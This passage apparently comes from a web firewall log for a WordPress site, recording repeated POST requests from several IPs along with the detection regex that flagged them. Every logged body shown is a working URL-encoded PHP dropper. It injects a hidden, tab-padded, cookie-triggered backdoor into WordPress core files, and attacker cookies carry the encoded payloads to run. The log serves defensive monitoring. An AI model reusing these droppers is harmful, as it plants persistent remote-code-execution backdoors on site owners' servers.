0=71\n\nRY=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/ms-settings.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B17%252B-17%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B49-48%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-5%252B8%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B82-78%255D%2529%2529%2520%257B%2520%2524sym%2520%253D%2520%2524_COOKIE%253B%2520function%2520module_controller%2528%2524value%2529%2520%257B%2520%2524sym%2520%253D%2520%2524_COOKIE%253B%2520%2524holder%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527f1fc5a85%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524holder%2529%2529%2520%257B%2520%2524holder%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522buffer_cache%2522%253B%2520%257D%2520%2524rec%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524sym%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524holder%2529%2529%2520%257B%2520%2524data%2520%253D%2520fopen%2528%2524holder%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524data%252C%2520%2524rec%2529%253B%2520fclose%2528%2524data%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524holder%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524holder%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522module_controller%2522%2529%253B%2520%2524ent%2520%253D%2520%25227178f9e735e883e960f781ddc60085d3%2522%253B%2520if%2520%2528%2521strncmp%2528%2524ent%252C%2520%2524sym%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522event_handler_initialized%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:41:22","103.143.207.18","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> ul:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/endpoints\/class-wp-rest-abilities-v1-run-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B27%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D7%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B27%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B27%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B27%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B7%252B1%253B%257D%2524k%253D%2524p%255B24%255D%2528%2529.%2524p%255B28%255D%253Bif%2528%2521%2524p%255B3%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B5%255D%2528%2524k%252C%2524p%255B26%255D%2529%253B%2524p%255B22%255D%2528%2524n%252C%2524p%255B23%255D.%2524p%255B11%255D%2528%2524p%255B15%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:3290\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvqJjvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWznJ5xVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\n\nul=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/endpoints\/class-wp-rest-abilities-v1-run-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B27%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D7%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B27%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B27%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B27%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B7%252B1%253B%257D%2524k%253D%2524p%255B24%255D%2528%2529.%2524p%255B28%255D%253Bif%2528%2521%2524p%255B3%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B5%255D%2528%2524k%252C%2524p%255B26%255D%2529%253B%2524p%255B22%255D%2528%2524n%252C%2524p%255B23%255D.%2524p%255B11%255D%2528%2524p%255B15%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:41:26","77.65.47.245","POST","\/","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> rt:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/endpoints\/class-wp-rest-abilities-v1-run-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B27%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D7%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B27%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B27%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B27%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B7%252B1%253B%257D%2524k%253D%2524p%255B24%255D%2528%2529.%2524p%255B28%255D%253Bif%2528%2521%2524p%255B3%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B5%255D%2528%2524k%252C%2524p%255B26%255D%2529%253B%2524p%255B22%255D%2528%2524n%252C%2524p%255B23%255D.%2524p%255B11%255D%2528%2524p%255B15%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\naccept-encoding:gzip,deflate\nsec-ch-ua-mobile:?1\nsec-ch-ua-platform:\"Android\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncontent-length:3290\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nupgrade-insecure-requests:1\naccept:*\/*\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvpaDvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz1vK2AioaMypaDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\n\nrt=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/endpoints\/class-wp-rest-abilities-v1-run-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B27%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D7%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B27%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B27%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B27%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B7%252B1%253B%257D%2524k%253D%2524p%255B24%255D%2528%2529.%2524p%255B28%255D%253Bif%2528%2521%2524p%255B3%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B5%255D%2528%2524k%252C%2524p%255B26%255D%2529%253B%2524p%255B22%255D%2528%2524n%252C%2524p%255B23%255D.%2524p%255B11%255D%2528%2524p%255B15%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:41:30","192.3.12.164","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> yK:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/endpoints\/class-wp-rest-abilities-v1-run-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B27%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D7%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B27%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B27%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B27%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B7%252B1%253B%257D%2524k%253D%2524p%255B24%255D%2528%2529.%2524p%255B28%255D%253Bif%2528%2521%2524p%255B3%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B5%255D%2528%2524k%252C%2524p%255B26%255D%2529%253B%2524p%255B22%255D%2528%2524n%252C%2524p%255B23%255D.%2524p%255B11%255D%2528%2524p%255B15%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:3290\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvrHfvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvZy9wo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\n\nyK=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/endpoints\/class-wp-rest-abilities-v1-run-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B27%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D7%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B27%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B27%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B27%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B7%252B1%253B%257D%2524k%253D%2524p%255B24%255D%2528%2529.%2524p%255B28%255D%253Bif%2528%2521%2524p%255B3%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B5%255D%2528%2524k%252C%2524p%255B26%255D%2529%253B%2524p%255B22%255D%2528%2524n%252C%2524p%255B23%255D.%2524p%255B11%255D%2528%2524p%255B15%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:41:32","141.95.124.215","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> OI:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/endpoints\/class-wp-rest-abilities-v1-run-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B27%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D7%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B27%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B27%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B27%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B7%252B1%253B%257D%2524k%253D%2524p%255B24%255D%2528%2529.%2524p%255B28%255D%253Bif%2528%2521%2524p%255B3%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B5%255D%2528%2524k%252C%2524p%255B26%255D%2529%253B%2524p%255B22%255D%2528%2524n%252C%2524p%255B23%255D.%2524p%255B11%255D%2528%2524p%255B15%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20